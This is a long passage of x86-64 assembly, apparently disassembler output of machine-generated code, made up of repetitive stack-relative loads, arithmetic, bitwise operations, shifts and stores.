mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x7bc0]
movzx eax, word [rax]
mov word [rsp + 0xf70], ax
movsx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x6d28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x7128]
mov qword [rsp + 0x8a60], rax
mov rax, qword [rsp + 0x7bc8]
mov rcx, qword [rsp + 0x8988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x73b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8378], rax
lea rax, [rsp + 0x3d24]
mov qword [rsp + 0x8a68], rax
movzx eax, word [rsp + 0xe4c]
movzx ecx, word [rsp + 0xe04]
or eax, ecx
mov word [0x1401790e0], ax
mov rax, qword [rsp + 0x7bb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7c98]
mov word [rcx], ax
movzx eax, byte [0x14017906e]
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0x7bd0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e38]
mov rcx, qword [rsp + 0x6d98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
lea rax, [rsp + 0x3d60]
mov qword [rsp + 0x8a78], rax
mov rax, qword [rsp + 0x7420]
mov ecx, dword [rsp + 0x3db4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8070]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179072], al
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x8a80], rax
movzx eax, word [rsp + 0xd70]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov word [rsp + 0xd08], ax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0xa2]
sub eax, ecx
mov rcx, qword [rsp + 0x8670]
mov byte [rcx], al
lea rax, [rsp + 0x10b]
mov qword [rsp + 0x8a88], rax
mov rax, qword [rsp + 0x7bf0]
imul eax, dword [rax], 0x5711
mov dword [rsp + 0x3c9c], eax
lea rax, [rsp + 0x7f88]
mov qword [rsp + 0x8a90], rax
mov rax, qword [rsp + 0x7710]
mov rcx, qword [rsp + 0x8270]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c4c], eax
mov rax, qword [rsp + 0x7f10]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [rsp + 0x115]
sub eax, ecx
mov rcx, qword [0x14017a5c8]
mov byte [rcx], al
lea rax, [rsp + 0xdf0]
mov qword [rsp + 0x8a98], rax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x7a80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x8aa0], rax
mov rax, qword [rsp + 0x72e0]
movsx eax, word [rax]
movsx ecx, word [0x14017a580]
shl eax, cl
mov rcx, qword [rsp + 0x8780]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85c0]
mov qword [rsp + 0x8aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8aa8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7308], rax
mov rax, qword [rsp + 0x7af0]
mov eax, dword [rax]
mov dword [rsp + 0x3f84], eax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee0], eax
lea rax, [rsp + 0x8020]
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017a55e], al
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8080]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf24], ax
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x84c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x122], al
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8910]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x7da8]
mov qword [rsp + 0x8ac0], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x7d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
lea rax, [rsp + 0x3f60]
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x8a30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8810]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov word [0x14017a8bc], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [0x14017901a]
sub eax, ecx
mov rcx, qword [rsp + 0x8120]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x13b], al
movzx eax, word [rsp + 0xd54]
movzx ecx, word [rsp + 0xe10]
add eax, ecx
mov rcx, qword [rsp + 0x86c8]
mov word [rcx], ax
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e40]
mov ecx, dword [rsp + 0x3cec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d20]
mov qword [rsp + 0x8ad8], rax
mov rax, qword [rsp + 0x8960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8708]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ca0]
mov qword [rcx], rax
lea rax, [rsp + 0x131]
mov qword [rsp + 0x8ae0], rax
movsx eax, word [rsp + 0xdb4]
mov rcx, qword [0x14017a6d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401790d0], ax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8260]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x8610]
movzx eax, byte [rax]
mov byte [rsp + 0x13c], al
movsx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x7b60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6bf8]
shl rax, cl
mov qword [rsp + 0x7d88], rax
mov rax, qword [rsp + 0x8698]
mov eax, dword [rax]
mov dword [rsp + 0x3f88], eax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x7350]
mov eax, dword [rax]
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0x7208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf6c], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [0x14017a578]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401790e4], ax
movsx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
mov rax, qword [rsp + 0x87c8]
movzx eax, byte [rax]
mov byte [rsp + 0x13d], al
mov rax, qword [0x14017a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a08]
mov qword [rsp + 0x8ae8], rax
mov rax, qword [rsp + 0x8040]
mov rcx, qword [rsp + 0x7810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ee0]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f7c], eax
mov rax, qword [rsp + 0x77a0]
mov rax, qword [rax]
mov qword [rsp + 0x8af0], rax
mov rax, qword [rsp + 0x76d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdfc]
add eax, ecx
mov rcx, qword [rsp + 0x78e0]
mov word [rcx], ax
lea rax, [0x140179052]
mov qword [0x14017a8c0], rax
mov rax, qword [rsp + 0x7fc0]
movzx eax, word [rax]
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov rcx, qword [rsp + 0x89e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13a]
and eax, ecx
mov rcx, qword [rsp + 0x7e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x6e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7c18]
mov qword [rcx], rax
lea rax, [rsp + 0x3cd4]
mov qword [rsp + 0x8b00], rax
mov rax, qword [rsp + 0x7700]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8a20]
mov qword [rsp + 0x8b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69d8]
movzx eax, word [rax]
mov word [rsp + 0xf78], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [0x14017a5a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a688]
mov byte [rcx], al
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x88f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0xd28], ax
movzx eax, byte [rsp + 0x12e]
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0x7ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [rsp + 0xe6], al
lea rax, [rsp + 0x3c94]
mov qword [rsp + 0x8b10], rax
mov rax, qword [rsp + 0x7840]
mov rcx, qword [rsp + 0x8a08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ff0], rax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x71d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7988], rax
mov eax, dword [rsp + 0x3c04]
mov dword [rsp + 0x3f90], eax
movzx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x83c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401790d4], ax
movsx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0x8238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8250]
mov byte [rcx], al
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x8b18], rax
mov rax, qword [0x14017a748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7920]
mov byte [rcx], al
movzx eax, word [rsp + 0xe64]
mov rcx, qword [rsp + 0x7d70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xde8], ax
lea rax, [rsp + 0x8958]
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x7968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f14], eax
mov rax, qword [rsp + 0x7290]
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x74f8]
mov rcx, qword [rsp + 0x7638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d4c], eax
movsx eax, word [0x14017907c]
mov rcx, qword [rsp + 0x7d20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790e8], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x7bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8548]
mov word [rcx], ax
mov rax, qword [rsp + 0x8918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc3], al
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x140], al
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fb8]
mov qword [rsp + 0x8b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x72b8], rax
mov rax, qword [rsp + 0x7188]
mov eax, dword [rax]
mov dword [rsp + 0x3f94], eax
mov eax, dword [rsp + 0x3e68]
movzx ecx, al
mov eax, dword [rsp + 0x3e7c]
shl eax, cl
mov rcx, qword [rsp + 0x8040]
mov dword [rcx], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x8708]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee4]
imul eax, ecx
mov word [str.D_r__t_], ax
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x141], al
movsx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xef4]
mov word [rsp + 0xf7c], ax
movsx eax, byte [rsp + 0x140]
movsx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x7548]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x83c8]
mov qword [rcx], rax
lea rax, [rsp + 0x3d60]
mov qword [rsp + 0x8b38], rax
mov rax, qword [rsp + 0x7288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3eb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
lea rax, [rsp + 0x74e8]
mov qword [rsp + 0x8b40], rax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179073], al
mov rax, qword [rsp + 0x6df8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7dc8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42], al
movsx eax, word [0x1401790e4]
movsx ecx, word [rsp + 0xc20]
add eax, ecx
mov rcx, qword [rsp + 0x8180]
mov word [rcx], ax
movzx eax, word [rsp + 0xec8]
mov word [rsp + 0xf80], ax
movzx eax, byte [rsp + 0x113]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x78e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3e98]
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0x7cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
lea rax, [rsp + 0x3ddc]
mov qword [rsp + 0x8b48], rax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x7300]
mov qword [rsp + 0x8b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b50]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017904e], al
movzx eax, word [rsp + 0xf20]
cdq
mov ecx, 0xa38
idiv ecx
mov rcx, qword [rsp + 0x76a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x142], al
movsx eax, word [rsp + 0xcec]
movsx ecx, word [rsp + 0xd28]
or eax, ecx
mov rcx, qword [rsp + 0x6dc8]
mov word [rcx], ax
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x7900]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x7df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3eb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f04]
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7510]
mov rcx, qword [rsp + 0x80c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7d60]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xcb]
mov byte [0x14017a585], al
mov rax, qword [rsp + 0x8978]
movzx eax, byte [rax]
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a4d6]
sub eax, ecx
mov rcx, qword [rsp + 0x89e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x82d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc7c]
sub eax, ecx
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x8360]
movzx eax, word [rax]
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0x8608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x8b58], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x83f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7510]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x7918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ebc], eax
mov rax, qword [rsp + 0x6e78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a830]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ec0]
movzx eax, byte [rax]
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8418]
mov word [rcx], ax
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov byte [rsp + 0x145], al
movsx eax, word [rsp + 0xf10]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0x3dc4]
mov qword [rsp + 0x8b60], rax
mov rax, qword [rsp + 0x8b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x7748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x73e8], rax
lea rax, [rsp + 0x7f88]
mov qword [rsp + 0x8b68], rax
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0xe0]
shl eax, cl
mov rcx, qword [rsp + 0x89f0]
mov byte [rcx], al
movsx eax, word [rsp + 0xebc]
movsx ecx, word [0x140179068]
and eax, ecx
mov word [0x1401790ec], ax
lea rax, [rsp + 0x9f]
mov qword [rsp + 0x8b70], rax
movzx eax, word [rsp + 0xf70]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov rcx, qword [rsp + 0x81c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd58]
sub eax, ecx
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x7648]
mov qword [rsp + 0x8b78], rax
mov rax, qword [rsp + 0x78f8]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x7e48]
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8498]
mov rcx, qword [rsp + 0x73a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf54], ax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x77c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140179076], al
mov rax, qword [rsp + 0x7450]
movzx eax, word [rax]
mov word [rsp + 0xf8c], ax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x87c8]
mov byte [rcx], al
lea rax, [rsp + 0x124]
mov qword [rsp + 0x8b88], rax
mov rax, qword [rsp + 0x8290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df0], eax
lea rax, [rsp + 0x7e28]
mov qword [rsp + 0x8b90], rax
mov rax, qword [rsp + 0x8330]
mov rcx, qword [rsp + 0x7a00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x77e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bb0]
mov dword [rcx], eax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x8b98], rax
movzx eax, word [rsp + 0xf54]
movzx ecx, word [rsp + 0xcd0]
or eax, ecx
mov word [0x140179048], ax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
sar eax, cl
mov byte [rsp + 0x9f], al
movzx eax, byte [rsp + 0x11d]
mov byte [rsp + 0x146], al
mov rax, qword [0x14017a5b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7250]
mov rcx, qword [rsp + 0x85b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8030]
mov qword [rcx], rax
lea rax, [rsp + 0x81e0]
mov qword [rsp + 0x8ba0], rax
mov eax, dword [rsp + 0x3c90]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3de0], eax
lea rax, [rsp + 0x3c88]
mov qword [rsp + 0x8ba8], rax
movzx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x7a20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7568]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a7f0], ax
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xdf0]
mov word [rsp + 0xf90], ax
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe28], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x8bb0], rax
mov rax, qword [rsp + 0x7350]
mov ecx, dword [rsp + 0x3d70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be4], eax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e80]
mov dword [rsp + 0x3fa0], eax
mov rax, qword [rsp + 0x80a0]
mov rcx, qword [rsp + 0x6d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0xc88]
mov qword [0x14017a8c8], rax
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0x8bb8], rax
movzx eax, byte [rsp + 0xa7]
movzx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [0x14017a750]
movzx eax, byte [rax]
mov byte [rsp + 0x147], al
movzx eax, word [rsp + 0xe68]
mov rcx, qword [rsp + 0x87d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x7d98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7b98]
mov qword [rsp + 0x8bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8bc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x71d8]
mov qword [rsp + 0x8bc8], rax
mov eax, dword [rsp + 0x3f2c]
mov ecx, dword [rsp + 0x3e60]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x86a8]
mov rax, qword [rax]
mov qword [rsp + 0x8bd0], rax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [0x140179027]
sub eax, ecx
mov rcx, qword [0x14017a6d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xdac]
movsx ecx, word [rsp + 0xc44]
and eax, ecx
mov rcx, qword [rsp + 0x7c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x77a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x104]
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x8780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc44], ax
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0x7798]
mov rcx, qword [rsp + 0x7968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ee8]
mov ecx, dword [rsp + 0x3e44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee4], eax
mov rax, qword [rsp + 0x6db8]
mov qword [rsp + 0x8be0], rax
lea rax, str.___nAv
mov qword [0x14017a8d0], rax
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xebc]
mov word [rsp + 0xf94], ax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [0x14017a5c0]
sub eax, ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x7d30]
movzx eax, byte [rax]
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x7820]
mov rcx, qword [rsp + 0x83e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8178]
mov rax, qword [rax]
